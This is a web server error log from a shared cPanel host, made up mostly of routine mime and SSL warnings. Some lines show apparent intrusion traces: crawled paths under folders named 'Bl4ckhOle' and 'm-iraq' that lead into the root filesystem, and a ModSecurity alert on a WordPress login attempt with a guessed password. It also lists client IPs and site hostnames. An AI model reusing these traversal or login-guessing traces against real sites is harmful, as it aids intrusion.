[Fri Jul 17 07:59:07.475802 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:07.845317 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:07.936911 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:08.027161 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:2/subsystem/ttyS3/irq
[Fri Jul 17 07:59:08.119152 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:08.209843 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:08.280675 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:48262] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:08.395237 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:08.488038 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:08.588496 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:08.685906 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:08.777065 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:08.960164 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:09.326279 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:09.401029 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:48282] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:09.417205 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:09.511191 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:09.746159 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:09.848291 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:66/subsystem/ttyS3/line
[Fri Jul 17 07:59:10.059708 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:10.148814 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:10.241186 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:10.332811 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:10.536002 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:10.626394 2026] [core:error] [pid 1993570:tid 1993570] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/module/pcspkr/sections/__mcount_loc
[Fri Jul 17 07:59:10.909375 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:11.084202 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:48330] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:11.090998 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:11.458803 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:11.550145 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:11.639709 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:11.733951 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:12.005847 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:12.097557 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:12.188202 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:12.278593 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:12.552362 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:12.646228 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:12.827486 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:12.923031 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:13.196398 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:13/subsystem/ttyS2/irq
[Fri Jul 17 07:59:13.286455 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:13.563357 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:14.585191 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:14.704150 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:15.345422 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:50648] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:16.821105 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:17.000231 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:17.182407 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:17.367357 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:17.470169 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:17.655206 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:17.747836 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:18.037582 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:18.123323 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:18.136550 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:50766] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:18.397801 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:13/subsystem/ttyS0/irq
[Fri Jul 17 07:59:18.486984 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:18.578107 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:18.669216 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:18.763533 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:18.879124 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:19.033912 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:19.123776 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:19.215987 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:19.498579 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:19.681552 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:19.779931 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:19.866425 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:19.958747 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:20.144747 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:20.236182 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:20.334931 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:20.417401 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:20.612498 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:20.706986 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:20.796931 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:20.889138 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:20.980124 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:21.169493 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:21.258410 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:21.349274 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:21.441450 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:21.536428 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:21.817409 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:21.907008 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:21.999334 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:22.100536 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:22.186627 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:22.277771 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:22.459639 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:22.795803 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:22.900034 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:22.919363 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:22.933857 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:22.956287 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:23.012786 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:23.105409 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:23.196280 2026] [core:error] [pid 1993573:tid 1993573] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:2/subsystem/ttyS1/irq
[Fri Jul 17 07:59:23.384120 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:23.474179 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:23.488929 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:23.565988 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:23.657192 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:23.751388 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:23.847661 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:23.898184 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:23.941220 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:24.033580 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:24.214489 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:24.220789 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:24.598638 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:24.690152 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:24.782328 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:25.016904 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:25.060487 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:25.108798 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:25.135725 2026] [ssl:error] [pid 1993571:tid 1993571] (70014)End of file found: [client 66.85.158.91:54758] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:25.135886 2026] [security2:error] [pid 1993571:tid 1993571] [client 57.141.18.85:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory5/subsystem/devices/memory124/subsystem/devices/memory133/node0/memory70/phys_index"] [unique_id "almThenUgtv5ujFYWh_qFQAAAA0"]
[Fri Jul 17 07:59:25.135917 2026] [security2:error] [pid 1993571:tid 1993571] [client 57.141.18.85:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory5/subsystem/devices/memory124/subsystem/devices/memory133/node0/memory70/phys_index"] [unique_id "almThenUgtv5ujFYWh_qFQAAAA0"]
[Fri Jul 17 07:59:25.236429 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:25.264586 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:26.149301 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:26.169291 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:26.199556 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:26.223354 2026] [security2:error] [pid 1993998:tid 1993998] [client 100.30.204.15:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "ksoft.web.lk"] [uri "/robots.txt"] [unique_id "almThmidQp3SsqeycPEnRAAAAAo"]
[Fri Jul 17 07:59:26.223707 2026] [security2:error] [pid 1993998:tid 1993998] [client 100.30.204.15:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ksoft.web.lk"] [uri "/robots.txt"] [unique_id "almThmidQp3SsqeycPEnRAAAAAo"]
[Fri Jul 17 07:59:26.224179 2026] [security2:error] [pid 1993998:tid 1993998] [client 100.30.204.15:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ksoft.web.lk"] [uri "/robots.txt"] [unique_id "almThmidQp3SsqeycPEnRAAAAAo"]
[Fri Jul 17 07:59:28.382631 2026] [security2:error] [pid 1993570:tid 1993570] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almTiHjA8yK8B7kryx3btgAAAAk"], referer: http://www.anandaobauae.org/?C=N;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 07:59:28.382661 2026] [security2:error] [pid 1993570:tid 1993570] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almTiHjA8yK8B7kryx3btgAAAAk"], referer: http://www.anandaobauae.org/?C=N;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 07:59:31.527822 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:31.786706 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:31.795653 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:51380] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:31.864479 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:32.092377 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:51386] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:33.577412 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:33.584798 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 47.82.55.40:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:65/subsystem/ttyS1/device/driver/unbind
[Fri Jul 17 07:59:34.180819 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:34.517633 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 57.141.18.108:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory99/subsystem/devices/memory103/subsystem/devices/memory10/node0/memory117/subsystem/uevent
[Fri Jul 17 07:59:35.489581 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:51540] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:35.562697 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:35.585550 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:35.641795 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:35.756265 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:51568] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:35.967932 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:35.989967 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:51596] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:36.074703 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:36.157134 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:36.853500 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:36.865395 2026] [proxy_fcgi:error] [pid 1993659:tid 1993659] [client 14.231.144.167:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:37.042079 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:37.068731 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:37.217744 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:37.217840 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:37.283491 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:51654] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:37.313932 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:37.317101 2026] [proxy_fcgi:error] [pid 1993570:tid 1993570] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:37.344827 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:37.440695 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:37.557296 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:37.557423 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:37.557473 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:37.715251 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:37.804538 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:37.896160 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:37.987057 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:38.080219 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:38.179594 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:38.265824 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:38.355008 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:38.356348 2026] [proxy_fcgi:error] [pid 1993573:tid 1993573] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:38.446641 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:38.538004 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:38.541455 2026] [proxy_fcgi:error] [pid 1994976:tid 1994976] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:59:38.635359 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:38.728409 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:38.821468 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:38.860391 2026] [security2:error] [pid 1993573:tid 1993573] [client 103.90.234.13:0] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'novc' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "66"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: novc found within ARGS:pwd: com123!@#"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "colperlab.com"] [uri "/wp-login.php"] [unique_id "almTknt8zp89pALg8Q5fzAAAAA4"], referer: https://colperlab.com/wp-login.php
